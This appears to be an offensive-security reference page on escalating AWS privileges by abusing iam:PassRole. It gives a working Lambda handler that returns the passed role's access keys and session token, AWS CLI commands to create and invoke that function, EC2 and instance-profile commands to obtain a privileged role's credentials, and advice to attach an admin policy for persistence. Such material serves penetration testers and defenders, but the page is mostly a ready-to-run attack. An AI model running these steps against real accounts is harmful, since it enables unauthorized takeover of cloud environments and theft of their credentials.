# IAM PassRole Lambda Escalation

> Exploits iam:PassRole and lambda:CreateFunction to escalate privileges by deploying a Lambda function that assumes a higher-privileged IAM role.

- **URL:** https://hackindex.io/platforms/aws/privilege-escalation/iam/iam-passrole-lambda-ec2-escalation
- **Path:** AWS > Privilege Escalation > IAM
- **Up:** [IAM](https://hackindex.io/platforms/aws/privilege-escalation/iam.md)
- **Published:** 2026-08-10
- **Updated:** 2026-08-10

`iam:PassRole` is the hinge of a large class of AWS privilege escalations. It lets a principal hand an existing IAM role to a service. If you can pass a role more privileged than your own to a service you can also invoke, that service runs with the higher role and you inherit its permissions. Lambda and EC2 are the two most reliable vehicles.

## Confirm the Prerequisites

You need three things: `iam:PassRole` on a target role, a service-creation permission that consumes a role, and a role more privileged than your current identity to pass. Enumerating your own effective permissions is covered in [IAM Authenticated Enumeration](https://hackindex.io/platforms/aws/enumeration/iam/iam-authenticated-enumeration).

List roles and read their attached policies to pick a target worth passing, for example one with `AdministratorAccess` or broad `iam:*`:

```bash
aws iam list-roles --profile $PROFILE --query 'Roles[].RoleName'
aws iam list-attached-role-policies --profile $PROFILE --role-name $ROLE_NAME
```

> [!TIP]
> The role you pass must trust the service you use. A role for the Lambda path needs `lambda.amazonaws.com` in its trust policy, the EC2 path needs `ec2.amazonaws.com`. Check `AssumeRolePolicyDocument` before spending time on a role the service will refuse.

## Lambda Path

With `iam:PassRole` plus `lambda:CreateFunction` and `lambda:InvokeFunction`, create a function that runs under the target role and returns that role's credentials, or performs actions directly. Package a minimal handler:

```python
import os

def handler(event, context):
    return {
        'AWS_ACCESS_KEY_ID': os.environ['AWS_ACCESS_KEY_ID'],
        'AWS_SECRET_ACCESS_KEY': os.environ['AWS_SECRET_ACCESS_KEY'],
        'AWS_SESSION_TOKEN': os.environ['AWS_SESSION_TOKEN'],
    }
```

```bash
zip function.zip lambda_function.py
aws lambda create-function --profile $PROFILE \
  --function-name pe \
  --runtime python3.12 \
  --role arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME \
  --handler lambda_function.handler \
  --zip-file fileb://function.zip
```

```bash
aws lambda invoke --profile $PROFILE --function-name pe /dev/stdout
# {
#     "AWS_ACCESS_KEY_ID": "ASIA...",
#     "AWS_SECRET_ACCESS_KEY": "...",
#     "AWS_SESSION_TOKEN": "..."
# }
```

Export those and you are operating as the passed role. If you also hold `iam:*` through it, attach an admin policy to your own user to make the escalation durable.

## EC2 Path

With `iam:PassRole` and `ec2:RunInstances`, launch an instance with the target role as its instance profile, then read the role's credentials straight from that instance's metadata service. This needs an instance profile that wraps the role, most privileged roles used by EC2 already have one.

```bash
aws ec2 run-instances --profile $PROFILE \
  --image-id $AMI_ID \
  --instance-type t3.micro \
  --iam-instance-profile Name=$INSTANCE_PROFILE \
  --key-name $KEY_NAME
```

Once it boots, if you have SSH or SSM to the box, pull credentials from IMDS as shown in [EC2 Instance Metadata Service](https://hackindex.io/platforms/aws/enumeration/ec2/ec2-instance-metadata-service). No instance profile ready to use? Create one from a role you can pass:

```bash
aws iam create-instance-profile --profile $PROFILE --instance-profile-name pe-profile
aws iam add-role-to-instance-profile --profile $PROFILE --instance-profile-name pe-profile --role-name $ROLE_NAME
```

## Other PassRole Sinks

The same pattern extends to any service that assumes a passed role and runs your code or exposes its credentials. Worth checking when Lambda and EC2 are locked down:

- Glue development endpoints and jobs
- CloudFormation with a passed service role
- SageMaker notebook instances
- Data Pipeline
- CodeBuild projects

The prerequisite is always `iam:PassRole` plus a create or run permission on that service.

> [!WARNING]
> Creating functions, launching instances, and attaching policies are all high-signal CloudTrail events (`CreateFunction`, `RunInstances`, `AttachUserPolicy`). Clean up test resources you create, and expect the role assumption chain to be reconstructable after the fact.
